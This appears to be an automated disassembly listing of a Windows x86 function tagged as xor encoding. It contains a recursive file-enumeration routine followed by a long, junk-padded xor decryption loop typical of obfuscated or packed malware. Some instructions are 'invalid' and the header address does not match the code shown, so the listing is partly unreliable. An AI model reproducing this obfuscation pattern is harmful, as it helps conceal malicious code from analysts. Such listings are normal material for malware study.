Function at 0x401e80
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x54c
push ebx
push ebp
mov ebp, dword [esp + 0x558]
push esi
xor ebx, ebx
push edi
mov dword [esp + 0x10], ebx
test ebx, ebx
jl 0x401d10
cmp ebx, dword [0x40713c]
jge 0x401d10
mov eax, dword [0x407120]
mov esi, dword [eax + ebx*4]
test esi, esi
je 0x401d10
mov eax, dword [ebp + 0x14]
test eax, eax
jne 0x401d10
lea ecx, [esp + 0x18]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401d0d
push 0
push 0
lea edx, [esp + 0x160]
push edx
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.MSVCRT.dll__splitpath]
add esp, 0x14
mov eax, dword [ebp + 0x14]
test eax, eax
jne 0x401d06
test byte [esp + 0x18], 0x10
jne 0x401cf6
inc dword [esp + 0x10]
lea ecx, [esp + 0x18]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401ce4
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
inc ebx
jmp 0x401c97
mov edx, dword [0x407180]
mov ebx, dword [sym.imp.USER32.dll_PostMessageA]
push 0
push 0
push 0x402
push edx
call ebx
movzx eax, word [esp + 0x10]
mov ecx, dword [0x407180]
shl eax, 0x10
push eax
push 0
push 0x401
push ecx
call ebx
mov edx, dword [0x407180]
push 0
push 1
push 0x404
push edx
call ebx
xor eax, eax
mov dword [esp + 0x10], eax
lea esp, [esp]
test eax, eax
jl 0x401e68
cmp eax, dword [0x40713c]
jge 0x401e68
mov ecx, dword [0x407120]
mov esi, dword [ecx + eax*4]
test esi, esi
je 0x401e68
mov eax, dword [ebp + 0x14]
test eax, eax
jne 0x401e68
lea edx, [esp + 0x18]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401e5a
push 0
push 0
lea eax, [esp + 0x160]
push eax
lea ecx, [esp + 0x20]
push ecx
push esi
mov esi, dword [sym.imp.MSVCRT.dll__splitpath]
call esi
add esp, 0x14
mov eax, dword [ebp + 0x14]
test eax, eax
jne 0x401e53
test byte [esp + 0x18], 0x10
jne 0x401e3f
lea edx, [esp + 0x258]
push edx
lea eax, [esp + 0x460]
push eax
push 0
lea ecx, [esp + 0x50]
push 0
push ecx
call esi
lea edx, [esp + 0x26c]
push edx
lea eax, [esp + 0x474]
push eax
lea ecx, [esp + 0x174]
push ecx
lea edx, [esp + 0x34]
push edx
lea eax, [esp + 0x37c]
push eax
call dword [sym.imp.MSVCRT.dll__makepath]
add esp, 0x28
lea ecx, [esp + 0x358]
push ecx
push ebp
call 0x401e80
mov edx, dword [0x407180]
push 0
push 0
push 0x405
push edx
call ebx
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401dc4
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [esp + 0x10]
inc eax
mov dword [esp + 0x10], eax
jmp 0x401d60
pop edi
pop esi
pop ebp
pop ebx
rol ecx, 0x16
and esi, 0xbabf61c
mov eax, 0x1a74f470
dec esi
rol eax, 7
shl edx, 0xd
mov ecx, dword [0x4053db]
mov esi, eax
mov eax, 0xfbe80c0
and esi, edi
xor eax, 0x11fc6c30
rol esi, 0x1f
or esi, edi
xchg esi, eax
not esi
inc ebx
xor esi, eax
mov edx, ebp
add ebx, esi
mov ecx, 0x389f0
inc byte [ecx - 0x393cf10]
adc ecx, eax
invalid
ror esi, 0x1e
inc esi
rol edx, 4
test ebx, ebp
jo 0x401ec8
xchg eax, esi
ror esi, 0xd
not eax
shl edx, 0x1b
neg eax
inc eax
call fcn.004054ae
loop 0x401eab
call fcn.00404d4f
mov ebx, 0x10575390
dec edx
or esi, 0x37d6e53e
xor edi, eax
shr esi, 0x11
test ebx, 0x16858fee
jb 0x401e8f
mov ecx, 0x47e22c4
inc edi
call fcn.00403d91
test eax, 0x49d1c42
jb 0x401f5d
inc eax
neg edx
dec edi
call fcn.004025d1
test ebx, 0xd1ca075
jb 0x401f7c
loop 0x401eed
or esi, edi
call fcn.00404d4f
or esi, edi
sub ecx, dword [0x40523c]
mov ecx, 0xdce5010
call fcn.004054ae
xchg edx, esi
not esi
dec eax
rol esi, 0x12
shl eax, 0x1b
mov edx, dword [0x404b5c]
inc edx
ror edx, 0x19
rol esi, 8
loop 0x401f22
shl eax, 0x13
mov eax, 0x6886f04
xor esi, eax
dec eax
xchg edx, esi
sub esi, 0x20e9fea6
add esi, eax
xor esi, 0x3e57ede
xor esi, eax
shl edx, 0x13
xor esi, eax
mov ebx, 0x118
xor esi, eax
inc eax
ror esi, 0x13
xor esi, 0x113e4c15
sub edx, dword [0x405ce8]
sub ecx, dword [0x405c2e]
xor eax, esp
xchg eax, eax
rol edx, 0x12
invalid
pop esp
inc eax
add byte [ebx], dh
les eax, [edi + 0x12c2c1c0]
xor esi, 0xda14d43
xchg eax, edx
not esi
sub esi, 0x1ce22c20
ror esi, 0xb
inc edx
xor edi, ecx
add esi, dword [0x405e40]
inc eax
xor ebx, esi
xchg eax, esi
add edi, ebx
sub edi, ebx
xchg eax, esi
xor ebx, esi
dec eax
xor edi, ecx
dec edx
rol esi, 0xb
add esi, 0x1ce22c20
not esi
xchg eax, edx
xor esi, 0xda14d43
ror edx, 0x12
xchg eax, eax
xor eax, esp
xor esi, 0x113e4c15
rol esi, 0x13
dec eax
xor esi, eax
call 0x401fdf
dec eax
xor esi, edx
xchg eax, eax
sub edx, eax
xor edx, dword [0x405de4]
xor eax, ebx
xchg esi, esi
add edx, eax
xor eax, 0x5e57148
add eax, ebx
sub eax, ebx
xor eax, 0x5e57148
sub edx, eax
xchg esi, esi
xor eax, ebx
add edx, eax
xchg eax, eax
xor esi, edx
inc eax
pop ecx
xor edx, eax
inc esi
sub ebx, dword [0x405e94]
ror eax, 0x18
xor esi, esp
inc esi
xor eax, ebp
inc esi
xor edi, dword [0x405fd8]
xor edi, edx
xor esi, eax
sub eax, esi
xor esi, 0xda6d681
xchg edx, edx
inc eax
rol esi, 0x13
ror esi, 0x13
dec eax
xchg edx, edx
xor esi, 0xda6d681
add eax, esi
xor esi, eax
xor edi, edx
dec esi
xor eax, ebp
dec esi
xor esi, esp
rol eax, 0x18
dec esi
xor edx, eax
add ecx, 0x4b5
sub ecx, esp
dec eax
xor edx, esi
xor ecx, ebp
xor ecx, dword [0x405d15]
xor esi, 0xbeae869
sub ecx, dword [0x405f10]
xor ebx, eax
sub esi, eax
xor eax, ebp
sub edi, 0x22a72c05
sub edx, dword [0x405c41]
sub edi, esp
xor esi, 0x7c79f20
xor edi, dword [0x405fc4]
dec esi
add esi, 0x1922d15f
dec edx
not ecx
sub edi, dword [0x405f08]
ror eax, 0x1a
rol eax, 0x1a
not ecx
inc edx
sub esi, 0x1922d15f
inc esi
xor esi, 0x7c79f20
add edi, esp
add edi, 0x22a72c05
xor eax, ebp
add esi, eax
xor ebx, eax
xor esi, 0xbeae869
xor ecx, ebp
xor edx, esi
inc eax
add ecx, esp
add dword [ecx], 0x6fb8ce72
not esi
xor edx, dword [0x405c8e]
xor esi, 0x54d2754
ror ecx, 3
xor ecx, dword [0x405c80]
add esi, eax
xor eax, ebp
sub edi, dword [0x405d3c]
rol esi, 0x11
xor esi, eax
xor esi, eax
ror esi, 0x11
xor eax, ebp
sub esi, eax
rol ecx, 3
xor esi, 0x54d2754
not esi
not dword [ecx]
sub esi, dword [0x405e94]
neg edx
xor edx, ebx
xor esi, dword [0x405c71]
not esi
sub esi, eax
not eax
inc esi
xchg eax, edx
xor edi, dword [0x405d3d]
xchg eax, edx
dec esi
not eax
add esi, eax
not esi
xor edx, ebx
neg edx
sub dword [ecx], 0x6fb8ce72
sub edx, esp
dec edx
not ecx
xor edi, edx
xor ebx, dword [0x405e38]
dec ecx
rol esi, 6
add ebx, 0x295169b
rol esi, 7
xor edi, eax
xor edi, eax
ror esi, 7
sub ebx, 0x295169b
ror esi, 6
inc ecx
xor edi, edx
not ecx
inc edx
add edx, esp
not dword [ecx]
inc esi
rol esi, 0x1b
not esi
ror eax, 0x13
xchg esi, esi
not eax
inc eax
xor esi, eax
xor edi, dword [0x405d85]
sub ecx, dword [0x405dca]
xor esi, eax
dec eax
not eax
xchg esi, esi
rol eax, 0x13
not esi
ror esi, 0x1b
dec esi
xor dword [ecx], 0x6fb8ce72
dec edx
add edx, dword [0x405e5a]
xor esi, eax
not edx
rol eax, 7
xor eax, 0x27722988
xchg esi, eax
xor edi, edx
inc esi
rol ebx, 0xb
xor eax, 0xc3f7eec
add edx, dword [0x405e0f]
ror esi, 4
dec esi
rol eax, 9
add eax, 0xd3e148
not eax
xchg edx, eax
add ecx, dword [0x405c9d]
xor esi, dword [0x405d9e]
sub ecx, dword [0x405da4]
neg eax
neg eax
xchg edx, eax
not eax
sub eax, 0xd3e148
ror eax, 9
inc esi
rol esi, 4
xor eax, 0xc3f7eec
ror ebx, 0xb
dec esi
xor edi, edx
xchg esi, eax
xor eax, 0x27722988
ror eax, 7
not edx
xor esi, eax
inc edx
add dword [ecx], 0x6fb8ce72
xor ecx, dword [0x405c34]
sub edx, dword [0x405e72]
sub ecx, dword [0x405fcb]
neg esi
rol eax, 3
inc edx
xchg esi, eax
ror edx, 0x1d
not esi
xor edi, eax
neg eax
neg eax
xor edi, eax
not esi
rol edx, 0x1d
xchg esi, eax
dec edx
ror eax, 3
neg esi
not dword [ecx]
sub ebx, dword [0x405e50]
rol eax, 0x10
sub esi, dword [0x405ee4]
sub ecx, dword [0x405e20]
xor edi, dword [0x405cbb]
neg eax
add eax, ebp
xor edi, edx
xor esi, eax
inc eax
dec eax
xor esi, eax
xor edi, edx
sub eax, ebp
neg eax
ror eax, 0x10
xor dword [ecx], 0x6fb8ce72
add ecx, esi
rol esi, 0x1d
sub edi, dword [0x405ce6]
not esi
add esi, eax
sub esi, eax
add esi, eax
add ecx, dword [0x405dc8]
rol esi, 2
add edi, dword [0x405f80]
ror eax, 0xf
xor edx, 0x1611bd70
not esi
xor ecx, dword [0x405da6]
xchg edi, edx
sub edi, eax
sub ecx, dword [0x405f7e]
not eax
rol eax, 6
add esi, dword [0x405eba]
xor eax, edx
neg edi
neg edi
xor eax, edx
ror eax, 6
not eax
add edi, eax
xchg edi, edx
not esi
xor edx, 0x1611bd70
rol eax, 0xf
ror esi, 2
sub esi, eax
add esi, eax
sub esi, eax
not esi
ror esi, 0x1d
sub ecx, esi
not dword [ecx]
inc esi
neg esi
ror ebx, 0x15
not eax
ror esi, 0x10
sub esi, dword [0x405cb8]
xor eax, ebx
sub esi, dword [0x405e98]
add ecx, edx
inc eax
add ebx, esp
inc esi
xor edi, dword [0x405ebf]
dec eax
not esi
xor edi, dword [0x405ee0]
not edx
sub ecx, dword [0x405fbc]
neg esi
neg esi
not edx
not esi
inc eax
dec esi
sub ebx, esp
dec eax
sub ecx, edx
xor eax, ebx
rol esi, 0x10
not eax
rol ebx, 0x15
neg esi
dec esi
add dword [ecx], 0x6fb8ce72
sub edi, dword [0x405c49]
xor eax, 0x3953e58e
not esi
xor edx, 0x9f0864a
ror esi, 3
xor esi, 0x121f94d0
xor ecx, dword [0x405fc6]
xor edi, eax
inc eax
xor ecx, dword [0x405edc]
neg eax
sub edx, 0x1de69f80
xor ebx, edi
xor edi, eax
xor esi, 0x1646736c
xor esi, eax
not eax
rol esi, 0x1c
ror esi, 0x1c
not eax
xor esi, eax
xor esi, 0x1646736c
xor edi, eax
xor ebx, edi
add edx, 0x1de69f80
neg eax
dec eax
xor edi, eax
xor esi, 0x121f94d0
rol esi, 3
xor edx, 0x9f0864a
not esi
xor eax, 0x3953e58e
not dword [ecx]
xor ebx, dword [0x405f51]
xor esi, dword [0x405fac]
dec esi
xor esi, edi
ror esi, 0x18
sub ebx, dword [0x405e68]
ror ebx, 0x1c
xor eax, 0x2e0cac8c
xchg eax, esi
sub esi, eax
not eax
xor edi, dword [0x405e2d]
xchg esi, eax
rol eax, 0xe
add edx, esp
sub ecx, dword [0x405d24]
sub edx, esp
ror eax, 0xe
xchg esi, eax
not eax
add esi, eax
xchg eax, esi
xor eax, 0x2e0cac8c
rol ebx, 0x1c
rol esi, 0x18
xor esi, edi
inc esi
add ecx, 4
rol eax, 2
xor ecx, dword [0x405f18]
xor esi, 0x473b428
sub edx, dword [0x405e82]
sub eax, 0x566a1e2
neg esi
xor eax, edi
add esi, eax
ror eax, 1
xor edx, esi
add esi, eax
xor edx, dword [0x405c7a]
sub esi, eax
xor edx, esi
rol eax, 1
sub esi, eax
xor eax, edi
neg esi
add eax, 0x566a1e2
xor esi, 0x473b428
ror eax, 2
sub ebx, 4
jne 0x40205e
pop ds
invalid